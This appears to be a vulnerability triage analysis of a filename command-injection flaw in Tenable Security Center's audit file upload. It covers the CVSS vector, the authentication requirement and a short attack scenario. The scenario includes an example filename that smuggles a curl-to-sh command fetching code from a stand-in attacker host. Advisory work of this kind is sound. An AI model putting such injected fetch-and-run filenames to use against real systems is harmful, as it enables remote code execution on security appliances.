Tenable Security Center CVE-2026-64879

Exploitation requires an authenticated session (CVSS PR:L) with access to the audit file upload functionality of Tenable Security Center; the attacker crafts an upload whose filename embeds shell metacharacters that get injected into a system command. Limiting factors: valid credentials and permission to reach the audit-upload feature are needed (not unauthenticated), and the target must be a Security Center deployment exposing that feature to the attacker. No user interaction by a victim is required (UI:N) and attack complexity is low (AC:L), so once a low-privileged account is available, exploitation is straightforward against affected versions.

The signals are largely consistent and point to a genuine high priority. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) indicates a network-reachable, low-complexity attack requiring only low privileges and no user interaction, with high impact across the vulnerable system (VC:H/VI:H/VA:H) and subsequent systems (SC:H/SI:H/SA:H), yielding a 9.4 Critical score. The key mitigating factor is PR:L - the attacker must be authenticated to Security Center with access to the audit file upload functionality, so this is not a fully unauthenticated internet-facing RCE. No EPSS score was provided in the input, so exploitation-probability cannot be quantified here; no SSVC decision data was provided either. It is not in CISA KEV and no POC was referenced, so exploitation is not confirmed. Overall: a real, patch-now issue because command execution on a security appliance is high-value, but the authentication requirement narrows the exposure to attackers who already hold valid (even low-privileged) accounts or can obtain them.

An attacker with a low-privileged Security Center account browses to the audit file upload feature and uploads a file crafted with a malicious filename such as 'audit;curl attacker/x|sh.tar'. When the server processes the upload, the shell interprets the injected metacharacters and runs the attacker's command as the Security Center service account, giving code execution on the appliance. No public POC was referenced, and the low attack complexity means a working account is the main prerequisite.